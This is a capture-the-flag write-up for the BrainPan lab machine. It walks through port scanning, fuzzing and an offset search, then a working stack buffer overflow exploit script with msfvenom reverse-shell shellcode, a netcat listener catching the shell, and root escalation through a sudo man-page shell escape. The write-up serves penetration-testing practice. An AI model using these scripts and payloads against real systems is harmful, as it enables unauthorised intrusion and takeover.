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BrainPan

Date: 30, May, 2021

Author: Dhilip Sanjay S

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Enumeration

Nmap

nmap -sC -sV 10.10.222.251 -oN nmap.out
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-30 12:30 IST
Nmap scan report for 10.10.222.251
Host is up (0.16s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.91%I=7%D=5/30%Time=60B33822%P=x86_64-pc-linux-gnu%r(NU
SF:LL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|
SF:\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\
SF:x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x
SF:20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x
SF:20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x
SF:20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

  • The port 9999 is where the vulnerable exe file must be running. We can verify it by connecting using netcat:

nc 10.10.222.251 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> brainpan
                          ACCESS DENIED

Gobuster

$ gobuster dir -u http://10.10.222.251:10000 -t 50 -w /usr/share/wordlists/dirb/common.txt | tee gobuster.out
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.222.251:10000
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/05/30 12:39:17 Starting gobuster in directory enumeration mode
===============================================================
/bin                  (Status: 301) [Size: 0] [--> /bin/]
/index.html           (Status: 200) [Size: 215]          
                                                         
===============================================================
2021/05/30 12:39:47 Finished
===============================================================

Download the executable

  • The brainpan.exe file can be found in the /bin directory (found using gobuster).

  • Download the exe file to analyse it locally:

wget http://10.10.222.251:10000/bin/brainpan.exe
--2021-05-30 12:41:38--  http://10.10.222.251:10000/bin/brainpan.exe
Connecting to 10.10.222.251:10000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 21190 (21K) [application/x-msdos-program]
Saving to: ‘brainpan.exe’

brainpan.exe                         100%[===================================================================>]  20.69K  --.-KB/s    in 0.1s    

2021-05-30 12:41:39 (139 KB/s) - ‘brainpan.exe’ saved [21190/21190]

Analyzing the exe using Immunity Debugger

  • We have only the password field to be spiked. So, we'll directly get into fuzzing.

  • PS: If there were more fields to be tested, spiking would make the process faster.

Fuzzing

  • Fuzzing script:

#! /usr/bin/python3

import socket, time, sys

ip = "LOCAL_IP"
port = 9999
timeout = 5

payload = b'A'* 100

while True:
	try:
		s = socket.socket()
		s.settimeout(timeout)
		s.connect((ip, port))
		s.recv(1024)
		s.send(payload)
		print("Fuzzing with {} bytes".format(len(payload)))
		s.recv(1024)
		s.close()
	except:
		print("Fuzzing crashed at {} bytes".format(len(payload)))
		exit()
	payload += b'A' * 100
	time.sleep(1)

  • OUTPUT:

./fuzzing.py 
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing crashed at 600 bytes

Finding Offset

  • Create a pattern of length 1000:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

  • Python script:

#! /usr/bin/python3

import socket, time, sys

ip = "LOCAL_IP"
port = 9999
timeout = 5

payload = b'<PATTERN_GOES_HERE>'

try:
	s = socket.socket()
	s.settimeout(timeout)
	s.connect((ip, port))
	s.recv(1024)
	s.send(payload)
	print("Fuzzing with {} bytes".format(len(payload)))
	s.recv(1024)
	s.close()
except:
	print("Fuzzing crashed at {} bytes".format(len(payload)))
	exit()

  • EIP value = 35724134

  • Find the exact offset:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 35724134
[*] Exact match at offset 524

Finding Bad characters

  • Generate all chars using python

  • Run the python script:

#! /usr/bin/python3

import socket, time, sys, struct

ip = "LOCAL_IP"
port = 9999
timeout = 5

offset = 524
eip = b'B' * 4
allchars = b''.join([struct.pack('<B', x) for x in range(1,256)])

payload = [
	b'A' * offset,
	eip,
	allchars
]

payload = b''.join(payload)

try:
	s = socket.socket()
	s.settimeout(timeout)
	s.connect((ip, port))
	s.recv(1024)
	s.send(payload)
	print("Fuzzing with {} bytes".format(len(payload) - len(eip) - len(allchars)))
	s.recv(1024)
	s.close()
except:
	print("Fuzzing crashed at {} bytes".format(len(payload) - len(eip) - len(allchars)))
	exit()

  • There are no bad chars in brainpan (except \x00)

Finding right module

  • To find the modules: !mona modules

  • Only brainpan.exe has no memory protection.

  • To find JMP ESP within that module: !mona jmp -r esp -m brainpan.exe -cpb \x00

  • We have exactly one pointer which matches our location:

  • So, the EIP value must be set to 311712F3

  • We can verify this by setting a breakpoint in Immunity Debugger and running the following script:

#! /usr/bin/python3

import socket, time, sys, struct

ip = "LOCAL_IP"
port = 9999
timeout = 5

offset = 524
eip = b''.join([struct.pack('<I', 0x311712F3)])

payload = [
	b'A' * offset,
	eip,
]

payload = b''.join(payload)

try:
	s = socket.socket()
	s.settimeout(timeout)
	s.connect((ip, port))
	s.recv(1024)
	s.send(payload)
	print("Fuzzing with {} bytes".format(len(payload) - len(eip)))
	s.recv(1024)
	s.close()
except:
	print("Fuzzing crashed at {} bytes".format(len(payload) - len(eip)))
	exit()

Shell code & Shell access

  • All we got to do now is generate shell code:

msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=1234 EXITFUNC=thread -f py -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of py file: 1712 bytes
buf =  b""
buf += b"\xb8\x46\x11\x18\x82\xda\xce\xd9\x74\x24\xf4\x5a\x31"
buf += b"\xc9\xb1\x52\x31\x42\x12\x03\x42\x12\x83\x84\x15\xfa"
buf += b"\x77\xf4\xfe\x78\x77\x04\xff\x1c\xf1\xe1\xce\x1c\x65"
buf += b"\x62\x60\xad\xed\x26\x8d\x46\xa3\xd2\x06\x2a\x6c\xd5"
buf += b"\xaf\x81\x4a\xd8\x30\xb9\xaf\x7b\xb3\xc0\xe3\x5b\x8a"
buf += b"\x0a\xf6\x9a\xcb\x77\xfb\xce\x84\xfc\xae\xfe\xa1\x49"
buf += b"\x73\x75\xf9\x5c\xf3\x6a\x4a\x5e\xd2\x3d\xc0\x39\xf4"
buf += b"\xbc\x05\x32\xbd\xa6\x4a\x7f\x77\x5d\xb8\x0b\x86\xb7"
buf += b"\xf0\xf4\x25\xf6\x3c\x07\x37\x3f\xfa\xf8\x42\x49\xf8"
buf += b"\x85\x54\x8e\x82\x51\xd0\x14\x24\x11\x42\xf0\xd4\xf6"
buf += b"\x15\x73\xda\xb3\x52\xdb\xff\x42\xb6\x50\xfb\xcf\x39"
buf += b"\xb6\x8d\x94\x1d\x12\xd5\x4f\x3f\x03\xb3\x3e\x40\x53"
buf += b"\x1c\x9e\xe4\x18\xb1\xcb\x94\x43\xde\x38\x95\x7b\x1e"
buf += b"\x57\xae\x08\x2c\xf8\x04\x86\x1c\x71\x83\x51\x62\xa8"
buf += b"\x73\xcd\x9d\x53\x84\xc4\x59\x07\xd4\x7e\x4b\x28\xbf"
buf += b"\x7e\x74\xfd\x10\x2e\xda\xae\xd0\x9e\x9a\x1e\xb9\xf4"
buf += b"\x14\x40\xd9\xf7\xfe\xe9\x70\x02\x69\x1c\x94\x0b\x32"
buf += b"\x48\x94\x13\xc0\x5a\x11\xf5\xa2\x4a\x74\xae\x5a\xf2"
buf += b"\xdd\x24\xfa\xfb\xcb\x41\x3c\x77\xf8\xb6\xf3\x70\x75"
buf += b"\xa4\x64\x71\xc0\x96\x23\x8e\xfe\xbe\xa8\x1d\x65\x3e"
buf += b"\xa6\x3d\x32\x69\xef\xf0\x4b\xff\x1d\xaa\xe5\x1d\xdc"
buf += b"\x2a\xcd\xa5\x3b\x8f\xd0\x24\xc9\xab\xf6\x36\x17\x33"
buf += b"\xb3\x62\xc7\x62\x6d\xdc\xa1\xdc\xdf\xb6\x7b\xb2\x89"
buf += b"\x5e\xfd\xf8\x09\x18\x02\xd5\xff\xc4\xb3\x80\xb9\xfb"
buf += b"\x7c\x45\x4e\x84\x60\xf5\xb1\x5f\x21\x15\x50\x75\x5c"
buf += b"\xbe\xcd\x1c\xdd\xa3\xed\xcb\x22\xda\x6d\xf9\xda\x19"
buf += b"\x6d\x88\xdf\x66\x29\x61\x92\xf7\xdc\x85\x01\xf7\xf4"

  • Run the final Exploit:

#! /usr/bin/python3

import socket, time, sys, struct

ip = "LOCAL_IP"
port = 9999
timeout = 5

offset = 524
eip = b''.join([struct.pack('<I', 0x311712F3)])
nop_sled = b'\x90' * 32

buf =  b""
# Add full buf here

payload = [
	b'A' * offset,
	eip,
	nop_sled,
	buf
]

payload = b''.join(payload)

try:
	s = socket.socket()
	s.settimeout(timeout)
	s.connect((ip, port))
	s.recv(1024)
	s.send(payload)
	print("Fuzzing with {} bytes".format(len(payload) - len(eip) - len(nop_sled) - len(buf)))
	s.recv(1024)
	s.close()
except:
	print("Fuzzing crashed at {} bytes".format(len(payload) - len(eip) - len(nop_sled) - len(buf)))
	exit()

Don't forget to add NOP SLED in the final exploit!

  • Gain shell access using netcat:

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.17.7.91] from (UNKNOWN) [LOCAL_IP] 49249
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps>whoami
whoami
oscp-bof-prep\admin

We have got the shell access for the local version only, we need to exploit the original server using this final exploit.

Gain initial access

  • Change the IP address and run the exploit again:

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.17.7.91] from (UNKNOWN) [10.10.216.132] 40321
CMD Version 1.4.1

Z:\home\puck>echo %username%
puck

  • But the commands seems to be alternating between windows and linux. So, I changed the payload to a linux shell: linux/x86/shell_reverse_tcp

  • Upgrade the shell using: python -c 'import pty; pty.spawn("/bin/bash")'

Escalate your privileges to root.

  • Check for sudo permissions

puck@brainpan:/home/puck$ sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util

  • Checkout the binary which can be run without password:

puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]

  • The man command can be exploited to gain root access (Check GTFO bins):

puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual man
No manual entry for manual
WARNING: terminal is not fully functional
!/bin/sh

# whoami && hostname
root
brainpan

  • There is also another way to gain root access via the binary: /usr/local/bin/validate

  • It is an bufferoverflow exploit.

  • Check this writeup for reference: Infosec Writeup - Brainpan VM

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